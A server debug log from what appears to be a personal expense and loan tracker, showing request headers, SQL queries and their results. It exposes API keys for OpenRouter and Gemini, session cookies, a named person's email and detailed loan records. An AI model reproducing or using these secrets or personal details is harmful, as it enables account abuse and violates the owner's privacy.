    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AJhjHwWrmXNXXVxcuGPi%2B0g%3D%3D.9ETzlI4WGpv6%2FWRw5oaj7jVlhNoM8%2BRmEyHUnSwFQr7uaYLAd%2F2gEWlZ2KZ7I%2BvkEcfpPjifPhHsL8yzWpTvm3u8LlQLMHcINHdENk842zRIWRutKzXc9RzvMTDY2nLwxYKtH5MTKwrL7X0Y7TZ5xCiQmxH7PLE1r7VrNCpdkng%3D.aRjTpztkzhxjNgZSx7vHR%2BGxyecSm%2FwZI5b0%2FIgHdMA',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-06-01T05:57:22.139Z server-connect:router Serving templateView /
2026-06-01T05:57:22.140Z server-connect:app Executing action step identify
2026-06-01T05:57:22.140Z server-connect:app options: { provider: 'security' }
2026-06-01T05:57:22.140Z server-connect:output identity: 1
2026-06-01T05:57:22.140Z server-connect:app Executing action step restrict
2026-06-01T05:57:22.140Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-01T05:57:22.140Z server-connect:output restrict: undefined
2026-06-01T05:57:22.141Z server-connect:app Executing action step restrict
2026-06-01T05:57:22.141Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-01T05:57:22.141Z server-connect:output restrict: undefined
2026-06-01T05:57:22.141Z server-connect:router Render template layouts/main
2026-06-01T05:57:22.141Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AP1jlktr9Yj7k0BYHeakHTw%3D%3D.CMVIq7e2BMS%2BR0QPCT1%2B%2BkijsOVeqetjhIlYYf3CRTB6EIgEPcBgZK8K480mlbCi6W9bp2gJhogNLcL58wNei4%2BkPnWBo16Eiqa19tA2T6fVTpIfxDiLXOciJ24jcigrQX5wLUeSHMx2lFI%2BHbX2o5%2BFn1OhhiasA9cs8WynscM%3D.KYhZY34DEuhF7IlWu7wFZA89hCp7SCCq2j%2FS1cCovAg; your_r_git.sid=s%3A_tJF2Du4IosC1AXXWDNYaWDV5CS3IfgJ.ff8noBBbQ4aEF5igunTLAAYOFVAtX%2BRaey5jgrfLcIg',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-02T05:57:21.903Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AP1jlktr9Yj7k0BYHeakHTw%3D%3D.CMVIq7e2BMS%2BR0QPCT1%2B%2BkijsOVeqetjhIlYYf3CRTB6EIgEPcBgZK8K480mlbCi6W9bp2gJhogNLcL58wNei4%2BkPnWBo16Eiqa19tA2T6fVTpIfxDiLXOciJ24jcigrQX5wLUeSHMx2lFI%2BHbX2o5%2BFn1OhhiasA9cs8WynscM%3D.KYhZY34DEuhF7IlWu7wFZA89hCp7SCCq2j%2FS1cCovAg; your_r_git.sid=s%3A_tJF2Du4IosC1AXXWDNYaWDV5CS3IfgJ.ff8noBBbQ4aEF5igunTLAAYOFVAtX%2BRaey5jgrfLcIg',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-06-01T05:57:31.648Z server-connect:router Serving serverConnect /api/masters/get-items
2026-06-01T05:57:31.649Z server-connect:app Executing action step identify
2026-06-01T05:57:31.649Z server-connect:app options: { provider: 'security' }
2026-06-01T05:57:31.649Z server-connect:output identity: 1
2026-06-01T05:57:31.649Z server-connect:app Executing action step restrict
2026-06-01T05:57:31.649Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-01T05:57:31.650Z server-connect:output restrict: undefined
2026-06-01T05:57:31.652Z server-connect:app Executing action step select
2026-06-01T05:57:31.652Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-06-01T05:57:31.659Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'School Dress', item_id: 662, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  ... 573 more items
]
2026-06-01T05:57:31.661Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-06-01T05:57:31.662Z server-connect:app Executing action step identify
2026-06-01T05:57:31.662Z server-connect:app options: { provider: 'security' }
2026-06-01T05:57:31.662Z server-connect:output identity: 1
2026-06-01T05:57:31.662Z server-connect:app Executing action step restrict
2026-06-01T05:57:31.662Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-01T05:57:31.662Z server-connect:output restrict: undefined
2026-06-01T05:57:31.663Z server-connect:app Executing action step single
2026-06-01T05:57:31.663Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-06-01T05:57:31.664Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-06-01T05:57:33.855Z server-connect:router Serving templateView /emis
2026-06-01T05:57:33.855Z server-connect:app Executing action step identify
2026-06-01T05:57:33.855Z server-connect:app options: { provider: 'security' }
2026-06-01T05:57:33.855Z server-connect:output identity: 1
2026-06-01T05:57:33.856Z server-connect:app Executing action step restrict
2026-06-01T05:57:33.856Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-01T05:57:33.856Z server-connect:output restrict: undefined
2026-06-01T05:57:33.856Z server-connect:router Render template emis
2026-06-01T05:57:33.857Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/emis',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AP1jlktr9Yj7k0BYHeakHTw%3D%3D.CMVIq7e2BMS%2BR0QPCT1%2B%2BkijsOVeqetjhIlYYf3CRTB6EIgEPcBgZK8K480mlbCi6W9bp2gJhogNLcL58wNei4%2BkPnWBo16Eiqa19tA2T6fVTpIfxDiLXOciJ24jcigrQX5wLUeSHMx2lFI%2BHbX2o5%2BFn1OhhiasA9cs8WynscM%3D.KYhZY34DEuhF7IlWu7wFZA89hCp7SCCq2j%2FS1cCovAg; your_r_git.sid=s%3A_tJF2Du4IosC1AXXWDNYaWDV5CS3IfgJ.ff8noBBbQ4aEF5igunTLAAYOFVAtX%2BRaey5jgrfLcIg',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-02T05:57:21.903Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/emis',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/emis',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/emis',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AP1jlktr9Yj7k0BYHeakHTw%3D%3D.CMVIq7e2BMS%2BR0QPCT1%2B%2BkijsOVeqetjhIlYYf3CRTB6EIgEPcBgZK8K480mlbCi6W9bp2gJhogNLcL58wNei4%2BkPnWBo16Eiqa19tA2T6fVTpIfxDiLXOciJ24jcigrQX5wLUeSHMx2lFI%2BHbX2o5%2BFn1OhhiasA9cs8WynscM%3D.KYhZY34DEuhF7IlWu7wFZA89hCp7SCCq2j%2FS1cCovAg; your_r_git.sid=s%3A_tJF2Du4IosC1AXXWDNYaWDV5CS3IfgJ.ff8noBBbQ4aEF5igunTLAAYOFVAtX%2BRaey5jgrfLcIg',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-06-01T05:57:34.093Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-06-01T05:57:34.094Z server-connect:app Executing action step identify
2026-06-01T05:57:34.094Z server-connect:app options: { provider: 'security' }
2026-06-01T05:57:34.094Z server-connect:output identity: 1
2026-06-01T05:57:34.094Z server-connect:app Executing action step restrict
2026-06-01T05:57:34.094Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-01T05:57:34.094Z server-connect:output restrict: undefined
2026-06-01T05:57:34.095Z server-connect:app Executing action step custom
2026-06-01T05:57:34.096Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    lm.id,\n' +
      '    lm.loan_name,\n' +
      '    lm.starting_date,\n' +
      '    lm.ending_date,\n' +
      '    lm.total_amount AS principle_amount,\n' +
      '    lm.no_of_emi,\n' +
      '    lm.interest_amount,\n' +
      '    c.name AS loan_type,\n' +
      '    c1.name AS loan_provider,\n' +
      '    lm.due_date,\n' +
      '    lm.emi_amount,\n' +
      '\n' +
      '    COUNT(ld.id) AS total_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN 1 ELSE 0 END) AS total_pending_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN ld.loan_amount ELSE 0 END) AS total_remaining_amount,\n' +
      '   \n' +
      '    SUM(CASE WHEN ld.status = 1 THEN ld.loan_amount ELSE 0 END) AS total_paid_amount,\n' +
      '\n' +
      '    -- ✅ % Loan Paid\n' +
      '    ROUND(\n' +
      '    CASE \n' +
      '        WHEN lm.no_of_emi > 0\n' +
      '        THEN (\n' +
      '            SUM(CASE WHEN ld.status = 1 THEN 1 ELSE 0 END)\n' +
      '            / lm.no_of_emi\n' +
      '        ) * 100\n' +
      '        ELSE 0\n' +
      '    END\n' +
      ',2) AS percentage_paid\n' +
      'FROM loan_master lm\n' +
      'INNER JOIN collections c \n' +
      '    ON c.id = lm.loan_type \n' +
      'INNER JOIN collections c1 \n' +
      '    ON c1.id = lm.loan_provider \n' +
      'LEFT JOIN loan_details ld \n' +
      '    ON ld.loan_id = lm.id\n' +
      'WHERE lm.status = 0\n' +
      'GROUP BY lm.id;',
    params: []
  }
}
2026-06-01T05:57:34.101Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: 2022-06-07T18:30:00.000Z,
    ending_date: 2027-05-07T18:30:00.000Z,
    principle_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    loan_type: 'Personal Loan',
    loan_provider: 'Hero Fincorp',
    due_date: '8th',
    emi_amount: 15014,
    total_emi: 60,
    total_pending_emi: '12',
    total_remaining_amount: 180168,
    total_paid_amount: 720672,
    percentage_paid: '80.00'
  },
  {
    id: 10,
    loan_name: 'Slashash Tech',
    starting_date: 2023-03-04T18:30:00.000Z,
    ending_date: 2026-02-01T18:30:00.000Z,
    principle_amount: 600000,
    no_of_emi: 36,
    interest_amount: 57111,
    loan_type: 'Home Loan',
    loan_provider: 'Slashash Tech',
    due_date: '5th',
    emi_amount: 18243,
    total_emi: 36,
    total_pending_emi: '3',
    total_remaining_amount: 54729,
    total_paid_amount: 602019,
    percentage_paid: '91.67'
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: 2023-02-14T18:30:00.000Z,
    ending_date: 2028-03-14T18:30:00.000Z,
    principle_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    loan_type: 'Personal Loan',
    loan_provider: 'SMFG Credit India',
    due_date: '5th',
    emi_amount: 23109,
    total_emi: 60,
    total_pending_emi: '22',
    total_remaining_amount: 508398,
    total_paid_amount: 878142,
    percentage_paid: '63.33'
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: 2023-02-16T18:30:00.000Z,
    ending_date: 2027-01-16T18:30:00.000Z,
    principle_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    loan_type: 'Personal Loan',
